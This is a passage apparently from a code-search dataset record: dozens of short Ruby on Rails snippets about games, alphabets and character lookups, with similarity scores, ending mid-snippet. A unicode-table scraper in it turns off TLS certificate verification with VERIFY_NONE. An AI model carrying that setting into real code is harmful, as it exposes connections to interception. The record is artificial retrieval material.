self.pos = _save\n _tmp = match_string(\"_\")\n break if _tmp\n self.pos = _save\n break\n end # end choice\n\n set_failed_rule :_LETTER unless _tmp\n return _tmp\n end", "def get_all_character_apis\n\t\t\tjson(@@movie_api)[\"results\"].map { |movie| movie[\"characters\"]}.flatten\n end", "def get_char_hash(character)\n character_hash = get_character_info_from_api(character)\n character_hash[\"results\"].find do |result|\n result[\"name\"].downcase == character #removed downcase from LH\n end\nend", "def get_characters\n character_hash = look_up('http://www.swapi.co/api/people/')\n character_hash[\"results\"].collect do |element|\n element[\"name\"]\n end\nend", "def letters\n @letters.join(\"\")\n end", "def nato_phonetic_alphabet # rubocop:disable Metrics/MethodLength\n {\n 'a' => 'Alfa',\n 'b' => 'Bravo',\n 'c' => 'Charlie',\n 'd' => 'Delta',\n 'e' => 'Echo',\n 'f' => 'Foxtrot',\n 'g' => 'Golf',\n 'h' => 'Hotel',\n 'i' => 'India',\n 'j' => 'Juliett',\n 'k' => 'Kilo',\n 'l' => 'Lima',\n 'm' => 'Mike',\n 'n' => 'November',\n 'o' => 'Oscar',\n 'p' => 'Papa',\n 'q' => 'Quebec',\n 'r' => 'Romeo',\n 's' => 'Sierra',\n 't' => 'Tango',\n 'u' => 'Uniform',\n 'v' => 'Victor',\n 'w' => 'Whiskey',\n 'x' => 'X-ray',\n 'y' => 'Yankee',\n 'z' => 'Zulu'\n }\nend", "def get_poss_characters()\n alpha = \"abcdefghijklmnopqrstuvwxyz0123456789\"\n poss = []\n for i in (0..alpha.length-1)\n poss.push(alpha[i])\n end\n return poss\nend", "def index\n @players = Player.order 'lower(name)'\n render json: @players, serializer: V1::ApplicationArraySerializer\n end", "def show\n @script = Script.find(params[:id])\n @alphabet = Character.search(params[:search]).where(:script_id => params[:id]).order(sort_column + \" \" + sort_direction).paginate(:per_page => 5, :page => params[:page])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @script }\n format.js\n end\n end", "def create\n @game = Game.new(game_params)\n if user_signed_in?\n @game.creator_id = current_user.id\n end\n @game.joined_players = 1\n respond_to do |format|\n if @game.save\n format.html { redirect_to @game, notice: 'بازی جدید ایجاد شد.' }\n format.json { render action: 'show', status: :created, location: @game }\n else\n format.html { render action: 'new' }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n UserGame.create_user_game(current_user,@game)\n #@alphabets = ['s','y','z','a','b']\n @alphabets = ['الف' , 'ب' , '‍‍‍پ' , 'ت' , 'ث' , 'ج' , 'چ' , 'ح' , 'خ' , 'د' , 'ذ' , 'ر' , 'ز' , 'ژ' , 'س' , 'ش' , 'ص' , 'ض' , 'ط' , 'ظ' , 'ع' , 'غ' , 'ف' , 'ق' , 'ک' , 'گ' , 'ال' , 'م' , 'ن' , 'و' , 'ه' , 'ی']\n#\t\n for i in 1..@game.rounds_num\n\t@selected_letter = @alphabets.sample\n\t@alphabets.delete(@selected_letter)\n\tGameAlphabet.new_game_alphabet(@game.id,i,@selected_letter)\n Timer.new_timer(@game.id,i)\n end\n end", "def index\n @aromas = Aroma.order(\"lower(name) ASC\").all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @aromas }\n end\n end", "def index\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @arcade_games }\n end\n end", "def scrape\n created_at = Time.now\n date = Time.now\n puts \"Scrape for #{date.to_date} at #{date}\"\n\n begin\n base_url = 'https://unicode-table.com'\n agent = Mechanize.new\n agent.verify_mode = OpenSSL::SSL::VERIFY_NONE\n alphabets_page = Nokogiri::HTML(agent.get(\"#{base_url}/en/alphabets/\").content)\n nav = alphabets_page.css(\".navigation\")\n alphabet_links = nav.css(\"a\")\n\n alphabets = {}\n\n alphabet_links.each_with_index {|link, i|\n alphabet = {}\n # next if !(i == 1 || i == 32 || i == 28)\n alphabet_url = link.attr(\"href\") # /en/alphabets/armenian/\n\n alphabet[:title] = link.text\n alphabet[:letters] = []\n\n puts alphabet[:title]\n\n alphabet_page = Nokogiri::HTML(agent.get(\"#{base_url}#{alphabet_url}\").content)\n letters_el = alphabet_page.css(\".detailed-list li\")\n\n letters_el.each {|letter_el|\n letter = {}\n letter[:letter] = letter_el.css(\".char\").text()\n\n\n desc = letter_el.css(\".sdesc\")\n\n title_element = desc.css(\".stitle a\")\n\n #letter[:url] = title_element.attr(\"href\").text() # /en/0531/ hex code of character\n letter[:title] = title_element.text()\n\n block_element = desc.css(\".sblock a\")\n letter[:block] = block_element.attr(\"href\").text().gsub(\"/en/blocks/\",\"\").gsub(\"/\",\"\")\n\n letter[:code] = desc.css(\".code\").text()\n # letter[:html_code] = desc.css(\".html-code\").text()\n\n alphabet[:letters] << letter\n }\n\n name = alphabet_url.gsub(\"/en/alphabets/\",\"\").gsub(\"/\",\"\")\n\n alphabets[name.to_sym] = alphabet\n }\n\n File.write(\"unicode_alphabets.json\", JSON.pretty_generate(alphabets))\n File.write(\"unicode_alphabets.min.json\", alphabets.to_json)\n\n rescue Exception => e\n puts \"#{e} - exception occured\"\n end\n # end\nend", "def character_starts_with_search(letters)\n name_marvel = client.characters(:nameStartsWith => letters, :limit => 100)\n #puts client.characters(:limit => 10, :offset => 400, :orderBy => 'name')\n array_of_results = name_marvel[:data][:results]\n\n # if array_of_results.length > 0\n # puts \"You have found one!\"\n # end\n end", "def autocomplete_game_search \t\t\t\t \n #@games = Game.name_like(params[\"q\"])[0..10]\n #platform_result = Game.platform_like(params[\"q\"])[0..10] \n @games = Game.search({\"name_cont\" => params[\"q\"]}).result[0..10]\n platform_games = Game.search({\"platform_cont\" => params[\"q\"]}).result[0..10]\n @games = @games | platform_games\n render :json => @games.collect {|game| [game[\"name\"] + \" [\"+game[\"platform\"]+\"]\", game[\"platform\"]]}\n end", "def index\n @games = Game.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @games }\n end\n end", "def index\n @games = Game.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @games }\n end\n end", "def index\n @games = Game.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @games }\n end\n end", "def index\n @games = Game.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @games }\n end\n end", "def letterbank\n {\n vowels: [\"a\",\"e\",\"i\",\"o\",\"u\"],\n cap_vowels: [\"A\",\"E\",\"I\",\"O\",\"U\"],\n consonants: [\"b\",\"c\",\"d\",\"f\",\"g\",\"h\",\"j\",\"k\",\"l\",\"m\",\n \"n\",\"p\",\"q\",\"r\",\"s\",\"t\",\"v\",\"w\",\"x\",\"y\",\"z\"],\n cap_consonants: [\"B\",\"C\",\"D\",\"F\",\"G\",\"H\",\"J\",\"K\",\"L\",\"M\",\n \"N\",\"P\",\"Q\",\"R\",\"S\",\"T\",\"V\",\"W\",\"X\",\"Y\",\"Z\"],\n catch_all: [\" \", \"@\", \".\", \"-\"]\n }\nend", "def draw_letters\n letter_freq = {\n A: 9, N: 6, B: 2, O: 8, C: 2, P: 2, D: 4, Q: 1, E: 12, R: 6, F: 2, S: 4,\n G: 3, T: 6, H: 2, U: 4, I: 9, V: 2, J: 1, W: 2, K: 1, X: 1, L: 4, Y: 2, M: 2, Z: 1,\n }\n\n avail_letters = array_gen(letter_freq)\n used_letters = avail_letters.sample(10)\n\n return used_letters\nend", "def list_characters\n puts \"\"\n puts \"-----------------------------------------------\"\n puts \"\"\n puts \"Please select a character number:\"\n puts \"\"\n Api.all_character_data_list_of_names\n list_characters_options\n end", "def guessable_letters(animal)\n alphabet = *('a'..'z')\n letter_array = animal.name.downcase.split('')\n\n while letter_array.length < 12\n letter_array.push(alphabet.sample)\n end\n return letter_array.shuffle\n end", "def update\n respond_to do |format|\n if @game_alphabet.update(game_alphabet_params)\n format.html { redirect_to @game_alphabet, notice: 'Game alphabet was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @game_alphabet.errors, status: :unprocessable_entity }\n end\n end\n end", "def search_for_chars\n results = []\n response = client.characters(:nameStartsWith => user_search)\n response[\"data\"][\"results\"].each do |result|\n options = {}\n options[\"name\"] = result[\"name\"]\n if result[\"description\"] == \"\"\n options[\"description\"] = \"No description found\"\n else\n options[\"description\"] = result[\"description\"]\n end\n options[\"popularity\"] = result[\"comics\"][\"available\"]\n options[\"image\"] = result[\"thumbnail\"][\"path\"] + \".\" + result[\"thumbnail\"][\"extension\"] if result[\"thumbnail\"] != nil\n options[\"user_id\"] = user_id\n options[\"team_id\"] = 0\n results << Character.new(options)\n end\n results \n end", "def letters\n self.chars.select { |c| c.match(/[a-z]/i) }.join\nend", "def named(name)\n # do we need to modify the json\n # url_char_name = name.gsub!(' ','+')\n url_char_name = name.gsub(' ','+')\n self.class.get(\"/cards/named?fuzzy=#{url_char_name}\")\n end", "def fetch_character_by_name(name)\n uri = URI(BASE_URI + \"?name=#{name}\")\n characters = make_request(uri)\n if characters[0]\n Character.new(characters[0])\n else\n \"Couldn't find a character with that name...\"\n end\n end", "def index\n @weapons = Weapon.all\n\n render json: @weapons\n end", "def alphabet_array\n ('A'..'Z').to_a\n end", "def index\r\n @characters = Character.all\r\n end", "def index\n @games = current_user.games\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @games }\n end\n end", "def search\n games_data = BoardGameAtlas::API.search(params[:name])\n render json: { games: games_data.map }\n end", "def letter_array (name)\n\tname.chars\nend", "def show\n @character = Character.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @character }\n end\n end", "def index\n @characters = Character.all\n end", "def index\n @characters = Character.all\n end", "def index\n @characters = Character.all\n end", "def index\n @characters = Character.all\n end", "def index\n @characters = Character.all\n end", "def index\n @characters = Character.all\n end", "def index\n @characters = Character.all\n end", "def index\n @characters = Character.all\n end", "def index\n respond_to do |format|\n format.html do \n @last = Game.find(:all, :order => \"created_at DESC\", :limit => 10)\n @games = if (params[:start])\n Game.start(params[:start]).paginate(:page => params[:page],\n :per_page => 15, :include => [:tags,:editions])\n else\n Game.paginate(:page => params[:page], :per_page => 15, :order => 'games.name ASC', \n :include => [:tags,:editions])\n end\n @first_letters = Game.first_letters\n end\n format.json do\n opts = {}\n opts[:conditions] = {:base_game_id => \"\"} if params[:base_game]\n @games = Game.find(:all)\n render :json => @games.to_json(:only => [:id, :name])\n end\n end\n end", "def alphabet_keys()\n alphabet = \"abcdefghijklmnopqrstuvwxyz\".split('')\n alphabet_keys = {}\n alphabet.length.times do |i|\n alphabet_keys[alphabet[i]] = i + 1\n end\n\n return alphabet_keys\nend", "def new\n @letter = Letter.new(params[:letter])\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @letter }\n end\n end", "def gluck_italian; end", "def index\n @games_leaderboards = Games::Leaderboard.all\n\n render json: @games_leaderboards\n end", "def getAlphabet\n alphabet = \"A\"..\"Z\"\n $alphabet_array = alphabet.to_a\nend", "def get_character_list account\n end", "def index_to_letter(index)\n ALPHA26[index]\n end", "def fill_alphabet_from_kanji_name(member)\n # Last name\n if not member.last_name_alphabet.present? ||\n ( (member.last_name_alphabet.present?) && (not member.last_name_alphabet.ascii_only?) ) # If not alphabet\n member.update(last_name_alphabet: kanji_to_romaji_jlp(member.last_name).capitalize )\n end\n # First name\n if not member.first_name_alphabet.present? ||\n ( (member.first_name_alphabet.present?) && (not member.first_name_alphabet.ascii_only?) ) # If not alphabet\n member.update(first_name_alphabet: kanji_to_romaji_jlp(member.first_name).capitalize )\n end\n end" ]
[ "0.7664251", "0.7207166", "0.6819757", "0.6522696", "0.6259619", "0.61740476", "0.6120231", "0.6110008", "0.6030476", "0.60230756", "0.6009434", "0.599795", "0.59481627", "0.588637", "0.58741385", "0.58741385", "0.5852589", "0.5831381", "0.581172", "0.5797616", "0.57841015", "0.57513267", "0.57263076", "0.55804884", "0.55771816", "0.5575564", "0.5559447", "0.5546684", "0.5545776", "0.5530742", "0.5530119", "0.5529201", "0.5509906", "0.5503158", "0.5500643", "0.5492926", "0.54726857", "0.54626065", "0.5461998", "0.5456872", "0.5449399", "0.54331595", "0.541613", "0.5408374", "0.53922105", "0.53799874", "0.5374332", "0.53615826", "0.5358803", "0.53549826", "0.5351088", "0.5349275", "0.53356224", "0.53171116", "0.53145087", "0.53082687", "0.52813375", "0.52751607", "0.5274301", "0.527346", "0.5267292", "0.52656525", "0.52600974", "0.52540165", "0.5242604", "0.5242604", "0.5242604", "0.5242592", "0.5232984", "0.5226424", "0.52184117", "0.52113706", "0.5211233", "0.520833", "0.51998615", "0.51971036", "0.5183611", "0.5179974", "0.5178186", "0.51758355", "0.5175402", "0.51742244", "0.51735866", "0.5168096", "0.51650894", "0.51650894", "0.51650894", "0.51650894", "0.51650894", "0.51650894", "0.51650894", "0.51650894", "0.5160353", "0.5158734", "0.5155337", "0.5146042", "0.5144579", "0.5142388", "0.5140072", "0.5135734", "0.51326513" ]
0.0
-1
POST /game_alphabets POST /game_alphabets.json
def create @game_alphabet = GameAlphabet.new(game_alphabet_params) respond_to do |format| if @game_alphabet.save format.html { redirect_to @game_alphabet, notice: 'Game alphabet was successfully created.' } format.json { render action: 'show', status: :created, location: @game_alphabet } else format.html { render action: 'new' } format.json { render json: @game_alphabet.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def gather_alphabets\n \talphabets = helpers.gather_alphabets\n\n render json: {\n data: alphabets\n }\n \t\n end", "def game_alphabet_params\n params.require(:game_alphabet).permit(:game_id, :round_number, :alphabet)\n end", "def game_params\n params.require(:game).permit(:letters)\n end", "def index\n @game_alphabets = GameAlphabet.all\n end", "def create\n @game = Game.new(game_params)\n if user_signed_in?\n @game.creator_id = current_user.id\n end\n @game.joined_players = 1\n respond_to do |format|\n if @game.save\n format.html { redirect_to @game, notice: 'بازی جدید ایجاد شد.' }\n format.json { render action: 'show', status: :created, location: @game }\n else\n format.html { render action: 'new' }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n UserGame.create_user_game(current_user,@game)\n #@alphabets = ['s','y','z','a','b']\n @alphabets = ['الف' , 'ب' , '‍‍‍پ' , 'ت' , 'ث' , 'ج' , 'چ' , 'ح' , 'خ' , 'د' , 'ذ' , 'ر' , 'ز' , 'ژ' , 'س' , 'ش' , 'ص' , 'ض' , 'ط' , 'ظ' , 'ع' , 'غ' , 'ف' , 'ق' , 'ک' , 'گ' , 'ال' , 'م' , 'ن' , 'و' , 'ه' , 'ی']\n#\t\n for i in 1..@game.rounds_num\n\t@selected_letter = @alphabets.sample\n\t@alphabets.delete(@selected_letter)\n\tGameAlphabet.new_game_alphabet(@game.id,i,@selected_letter)\n Timer.new_timer(@game.id,i)\n end\n end", "def new_game(dictionary)\n\t\t@dictionary = dictionary.map { |w| w.chomp }\n\t\t@played_letters = []\n\t\t@letters = ('a'..'z').to_a\n\tend", "def index\n @alphabets = Alphabet.all\n end", "def create\n @alphabet = Alphabet.new(alphabet_params)\n\n respond_to do |format|\n if @alphabet.save\n format.html { redirect_to @alphabet, notice: 'Alphabet was successfully created.' }\n format.json { render :show, status: :created, location: @alphabet }\n else\n format.html { render :new }\n format.json { render json: @alphabet.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_game_alphabet\n @game_alphabet = GameAlphabet.find(params[:id])\n end", "def letter_choices(game_data)\n \"USED LETTERS: #{game_data.chosen_letters}\"\n end", "def game_params\n params.require(:game).permit(:letter_that_answers_must_start_with, answers: {})\n end", "def alphabet_params\n params.require(:alphabet).permit(:nr, :letter, :nv, :name, :transcription, :ar_name, :ar_name_transcription, :has_all_writings)\n end", "def alphabet\n ('A'..'Z').to_a\n end", "def alphabet\n ('A'..'Z').to_a\n end", "def english_word(attempt)\n url = \"https://wagon-dictionary.herokuapp.com/#{attempt}\"\n # Jason \"https://wagon-dictionary.herokuapp.com/#{attempt}\"\n raw_response = open(url).read\n JSON.parse(raw_response, symbolize_names: true)\n end", "def alphabet\n 'abcdefghijklmnopqrstuvwxyz'\n end", "def alphabet\n ('a'..'z').to_a\n end", "def letterbank\n {\n vowels: [\"a\",\"e\",\"i\",\"o\",\"u\"],\n cap_vowels: [\"A\",\"E\",\"I\",\"O\",\"U\"],\n consonants: [\"b\",\"c\",\"d\",\"f\",\"g\",\"h\",\"j\",\"k\",\"l\",\"m\",\n \"n\",\"p\",\"q\",\"r\",\"s\",\"t\",\"v\",\"w\",\"x\",\"y\",\"z\"],\n cap_consonants: [\"B\",\"C\",\"D\",\"F\",\"G\",\"H\",\"J\",\"K\",\"L\",\"M\",\n \"N\",\"P\",\"Q\",\"R\",\"S\",\"T\",\"V\",\"W\",\"X\",\"Y\",\"Z\"],\n catch_all: [\" \", \"@\", \".\", \"-\"]\n }\nend", "def generate_alphabet\n (\"a\"..\"z\").to_a\nend", "def destroy\n @game_alphabet.destroy\n respond_to do |format|\n format.html { redirect_to game_alphabets_url }\n format.json { head :no_content }\n end\n end", "def action(resp)\n game_data.chosen_letters.push(resp)\n increment(resp)\n edit_letters_left(resp)\n win_or_lose\n end", "def get_alpha\n@alphabet\nend", "def import_letters(alphabet_string)\n alphabet_string.strip.downcase.split(\" \").each do |w|\n self.letters.create!(:character => w[0,1], :word => w, :alphabet_id => self.id)\n end\n end", "def letter_params\n params.require(:letter).permit(:title, :text)\n end", "def add_letters_to_bag()\n\n bag = [\"Z\", \"X\", \"J\", \"K\", \"Q\"] # Letters which only appear once\n \n 2.times do # Letters which appear twice\n bag << \"V\"\n bag << \"W\"\n bag << \"B\"\n bag << \"C\"\n bag << \"F\"\n bag << \"H\"\n bag << \"M\"\n bag << \"Y\"\n bag << Blank.new\n bag << \"P\"\n end\n\n 3.times do bag << \"G\" end\n\n 4.times do\n bag << \"D\"\n bag << \"L\"\n bag << \"S\"\n bag << \"U\"\n end\n\n 6.times do\n bag << \"N\"\n bag << \"R\"\n bag << \"T\"\n end\n \n 8.times do bag << \"O\" end \n\n 9.times do\n bag << \"A\"\n bag << \"I\"\n end\n\n 12.times do bag << \"E\" end\n\n return bag\n end", "def get_letters(word)\n word.encode('UTF-8').downcase.split(\"\")\n end", "def guessed_letters()\n guessed = $bucket.join(\" \") # return a string of guessed letters\nend", "def create\n @play = Play.new(play_params)\n\n # Adding to create to hopefully make a notice if the guess is not in the available_letters\n\n respond_to do |format|\n if @play.save\n @play.guess = @play.guess.downcase\n if !(@play.guess =~ (/\\A[a-zA-Z]+\\z/))\n format.html { redirect_to :back, notice: 'Guesses must be a letter.' }\n elsif (@play.game.available_letters.include? @play.guess)\n @play.game.available_letters = (@play.game.available_letters.split() - @play.guess.split()).join(\" \")\n # check if guess is in word_array\n if (@play.game.word.split(//).include? @play.guess)\n i=0\n while i < @play.game.underscore_array.length\n if @play.game.word.split(//)[i] == @play.guess\n @play.game.underscore_array[i] = @play.guess\n end\n i += 1\n end\n @play.game.save\n if (@play.game.underscore_array == @play.game.word.split(//).join())\n @play.game.underscore_array = \"Game Over!\"\n @play.game.save\n format.html {redirect_to win_game_path(@play.game)}\n else\n format.html {redirect_to @play.game #, notice: \"#{@play.guess} is in the word!\"\n }\n end\n else\n @play.game.lives = @play.game.lives.to_i - 1\n @play.game.save\n if (@play.game.lives == \"0\")\n @play.game.underscore_array = \"Game Over!\"\n @play.game.save\n format.html {redirect_to lose_game_path(@play.game)}\n else\n format.html {redirect_to @play.game #, notice: \"#{@play.guess} is not in the word.\"\n }\n end\n\n end\n # --------------------------------------------------------------------------------\n\n format.json { render :show, status: :created, location: @play.game }\n else\n\n format.html {redirect_to :back, notice: \"#{@play.guess} is not an available letter.\"}\n\n end\n\n else\n format.html { redirect_to :back}\n format.json { render json: @play.errors, status: :unprocessable_entity }\n end\n end\n @play.destroy\n\n # ----------------------------------------------------------------------------------------\n\n # respond_to do |format|\n # if @play.save\n # format.html { redirect_to @play, notice: 'Play was successfully created.' }\n # format.json { render :show, status: :created, location: @play }\n # else\n # format.html { render :new }\n # format.json { render json: @play.errors, status: :unprocessable_entity }\n # end\n # end\n end", "def letters\n @letters ||= {\n \"2\" => ['a','b','c'],\n \"3\" => ['d','e','f'],\n \"4\" => ['g','h','i'],\n \"5\" => ['j','k','l'],\n \"6\" => ['m','n','o'],\n \"7\" => ['p','q','r','s'],\n \"8\" => ['t','u','v'],\n \"9\" => ['w','x','y','z']\n }\n end", "def letter_params\n params.require(:letter).permit(:category, :name)\n end", "def alphabet_array\n ('A'..'Z').to_a\n end", "def guess_letters\n guess_array = []\n @current_word.each do\n guess_array << \"_\"\n end\n return guess_array\n end", "def set_alphabet\n @alphabet = Alphabet.find(params[:id])\n end", "def nato_phonetic_alphabet # rubocop:disable Metrics/MethodLength\n {\n 'a' => 'Alfa',\n 'b' => 'Bravo',\n 'c' => 'Charlie',\n 'd' => 'Delta',\n 'e' => 'Echo',\n 'f' => 'Foxtrot',\n 'g' => 'Golf',\n 'h' => 'Hotel',\n 'i' => 'India',\n 'j' => 'Juliett',\n 'k' => 'Kilo',\n 'l' => 'Lima',\n 'm' => 'Mike',\n 'n' => 'November',\n 'o' => 'Oscar',\n 'p' => 'Papa',\n 'q' => 'Quebec',\n 'r' => 'Romeo',\n 's' => 'Sierra',\n 't' => 'Tango',\n 'u' => 'Uniform',\n 'v' => 'Victor',\n 'w' => 'Whiskey',\n 'x' => 'X-ray',\n 'y' => 'Yankee',\n 'z' => 'Zulu'\n }\nend", "def alphabet\n read_attr :alphabet\n end", "def alphabet\n alphabet = ['1111110001111111000110001']\n alphabet << '1111110001111111000111111'\n alphabet << '1111110000100001000011111'\n alphabet << '1110010010100011001011100'\n alphabet << '1111110000111111000011111'\n alphabet << '1111110000111111000010000'\n alphabet << '1111110000100001000111111'\n alphabet << '1000110001111111000110001'\n alphabet << '1111100100001000010011111'\n alphabet << '1111100100001000010011100'\n alphabet <<\t'1000110010111001001010001'\n alphabet <<\t'1000010000100001000011111'\n alphabet <<\t'1000111011101011000110001'\n alphabet <<\t'1000111001101011001110001'\n alphabet <<\t'1111110001100011000111111'\n alphabet <<\t'1111110001111111000010000'\n alphabet <<\t'1111110001101011001111111'\n alphabet <<\t'1111110001111111001010001'\n alphabet <<\t'1111110000111110000111111'\n alphabet <<\t'1111100100001000010000100'\n alphabet <<\t'1000110001100011000111111'\n alphabet <<\t'1000110001010100101000100'\n alphabet <<\t'1010110101101011010111111'\n alphabet <<\t'1000101010001000101010001'\n alphabet <<\t'1000110001010100010000100'\n alphabet <<\t'1111100010001000100011111'\n end", "def update\n respond_to do |format|\n if @game_alphabet.update(game_alphabet_params)\n format.html { redirect_to @game_alphabet, notice: 'Game alphabet was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @game_alphabet.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n\tGameAlphabet.delete_game_alphabets(@game.id)\n\tTimer.delete_game_timers(@game.id)\n\t if @game.update(game_params)\n\t #@alphabets = ['s','y','z','a','b']\n\t @alphabets = ['الف' , 'ب' , '‍‍‍پ' , 'ت' , 'ث' , 'ج' , 'چ' , 'ح' , 'خ' , 'د' , 'ذ' , 'ر' , 'ز' , 'ژ' , 'س' , 'ش' , 'ص' , 'ض' , 'ط' , 'ظ' , 'ع' , 'غ' , 'ف' , 'ق' , 'ک' , 'گ' , 'ال' , 'م' , 'ن' , 'و' , 'ه' , 'ی']\n\t#\t\n\t for i in 1..@game.rounds_num\n\t\t@selected_letter = @alphabets.sample\n\t\t@alphabets.delete(@selected_letter)\n\t\tGameAlphabet.new_game_alphabet(@game.id,i,@selected_letter)\n\t Timer.new_timer(@game.id,i)\n\t end\n format.html { redirect_to @game, notice: 'بازی با موفقیت تغییر یافت.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end", "def fill_alphabet_from_kanji_name(member)\n # Last name\n if not member.last_name_alphabet.present? ||\n ( (member.last_name_alphabet.present?) && (not member.last_name_alphabet.ascii_only?) ) # If not alphabet\n member.update(last_name_alphabet: kanji_to_romaji_jlp(member.last_name).capitalize )\n end\n # First name\n if not member.first_name_alphabet.present? ||\n ( (member.first_name_alphabet.present?) && (not member.first_name_alphabet.ascii_only?) ) # If not alphabet\n member.update(first_name_alphabet: kanji_to_romaji_jlp(member.first_name).capitalize )\n end\n end", "def letter_array (name)\n\tname.chars\nend", "def guessable_letters(animal)\n alphabet = *('a'..'z')\n letter_array = animal.name.downcase.split('')\n\n while letter_array.length < 12\n letter_array.push(alphabet.sample)\n end\n return letter_array.shuffle\n end", "def scrape\n created_at = Time.now\n date = Time.now\n puts \"Scrape for #{date.to_date} at #{date}\"\n\n begin\n base_url = 'https://unicode-table.com'\n agent = Mechanize.new\n agent.verify_mode = OpenSSL::SSL::VERIFY_NONE\n alphabets_page = Nokogiri::HTML(agent.get(\"#{base_url}/en/alphabets/\").content)\n nav = alphabets_page.css(\".navigation\")\n alphabet_links = nav.css(\"a\")\n\n alphabets = {}\n\n alphabet_links.each_with_index {|link, i|\n alphabet = {}\n # next if !(i == 1 || i == 32 || i == 28)\n alphabet_url = link.attr(\"href\") # /en/alphabets/armenian/\n\n alphabet[:title] = link.text\n alphabet[:letters] = []\n\n puts alphabet[:title]\n\n alphabet_page = Nokogiri::HTML(agent.get(\"#{base_url}#{alphabet_url}\").content)\n letters_el = alphabet_page.css(\".detailed-list li\")\n\n letters_el.each {|letter_el|\n letter = {}\n letter[:letter] = letter_el.css(\".char\").text()\n\n\n desc = letter_el.css(\".sdesc\")\n\n title_element = desc.css(\".stitle a\")\n\n #letter[:url] = title_element.attr(\"href\").text() # /en/0531/ hex code of character\n letter[:title] = title_element.text()\n\n block_element = desc.css(\".sblock a\")\n letter[:block] = block_element.attr(\"href\").text().gsub(\"/en/blocks/\",\"\").gsub(\"/\",\"\")\n\n letter[:code] = desc.css(\".code\").text()\n # letter[:html_code] = desc.css(\".html-code\").text()\n\n alphabet[:letters] << letter\n }\n\n name = alphabet_url.gsub(\"/en/alphabets/\",\"\").gsub(\"/\",\"\")\n\n alphabets[name.to_sym] = alphabet\n }\n\n File.write(\"unicode_alphabets.json\", JSON.pretty_generate(alphabets))\n File.write(\"unicode_alphabets.min.json\", alphabets.to_json)\n\n rescue Exception => e\n puts \"#{e} - exception occured\"\n end\n # end\nend", "def caesar_guesser(encrypted_string, alphabet)\r\n\r\nend", "def _LETTER\n\n _save = self.pos\n while true # choice\n _tmp = apply(:_ALPHA)\n break if _tmp\n self.pos = _save\n _tmp = match_string(\"_\")\n break if _tmp\n self.pos = _save\n break\n end # end choice\n\n set_failed_rule :_LETTER unless _tmp\n return _tmp\n end", "def alphabet\n alpha = []\n @transitions.each { |k,v| alpha += v.keys }\n Set.new(expand_symbols(alpha))\n end", "def index\n characters = @project.characters.all\n render json: { characters: characters }\n end", "def caesar_guesser(encrypted_string, alphabet)\nend", "def add_key_to_ascii(ascii_num, key)\n\tif (ascii_num + key).between?(91, 96) or (ascii_num + key)> 122\n\t\t# si la somme == entre 91 et 96 ou si la somme > à 122\n\t\tascii_num + key - 26\n\t\t# soustraire 26\n\t\t# fait une boucle entre l'alphabet minuscule et majuscule\n\t\t# alphabet minuscule de 97 à 122 : revient à 97 quand > à 12\n\t\t# ALPHABET de 65 à 90 : permet de squeezer la tranche 91-96 avec charactère spéciaux\n\telse\n\t\tascii_num + key \n\t\t# pour le reste, pas de soucis de boucle d'alphabet\t\t\n\tend\n\t\nend", "def update\n @solution.letters = params[:letters]\n @solution.save\n end", "def calculate_alphabet(str)\nend", "def letter_params\n params.require(:letter).permit(:name, :email, :number, :message, :appointment, :month)\n end", "def guess_letters(letter)\n @guesses << letter\n @guesses\nend", "def index\n @characters = Character.all\n\n render json: @characters\n end", "def alphabet_hash\n alpha_table = {}\n (('A'..'Z').zip(0..25)).each { |x| alpha_table[x[0]] = x[1] }\n alpha_table\n end", "def write_character(character)\n characters = read_characters()\n characters << $character\n f = File.open(\"characters.json\", \"w\")\n f << characters.to_json\n f.close\nend", "def gen_alpha(length = 10)\n positive_int! length\n gen_string_from_letters length, ASCII_LETTERS\n end", "def evaluate_players_letter()\n letter= @player1.give_letter()\n if @hiddenword1.determine_if_correct_letter_given(letter)\n p @hiddenword1.obscured_word\n @guessed_letters.push(letter)\n else\n @player1.lives-=1\n p \"Please try again\"\n p @guessed_letters\n p @hiddenword1.obscured_word\n end\n end", "def alphabetic_code=(input)\n write_attribute(:alphabetic_code, input.upcase)\n end", "def letters\n @letters.join(\"\")\n end", "def create\n @character = Character.new(character_params)\n\n respond_to do |format|\n if @character.save\n Ability.all.each {|a|\n CharacterAbility.create(ability: a, character: @character, value: 10)\n }\n format.html { redirect_to @character, notice: 'Character was successfully created.' }\n format.json { render :show, status: :created, location: @character }\n else\n format.html { render :new }\n format.json { render json: @character.errors, status: :unprocessable_entity }\n end\n end\n end", "def encode(letters, char, offset)\n\t\t((((char - letters.min) + offset) % 26) + letters.min).chr\n\t\t# binding.pry\n\tend", "def getAlphabet\n alphabet = \"A\"..\"Z\"\n $alphabet_array = alphabet.to_a\nend", "def letters\n the_letters = []\n letter_regex = /[a-z]/i\n chars.each do |character|\n the_letters << character if character.match(letter_regex)\n end\n the_letters.join\n end", "def test_it_can_convert_letter\n a = NightWriter.new\n assert_equal [[\"0.\", \"..\", \"..\"]], a.convert_letters(\"a\")\n end", "def bh_update_textfields_to_uppercase\n name = params[:name].upcase\n @json_data = { \"name\" => name }\n render json: @json_data\n end", "def kanji_params\n params.require(:kanji).permit(:character, :level)\n end", "def generate\n @letters = alphabet\n include_letters\n exclude_letters\n shuffle_alphabet_maybe\n reverse_alphabet_maybe\n @letters.split('').join(' ')\n end", "def create\n @chalie_vice_letter = 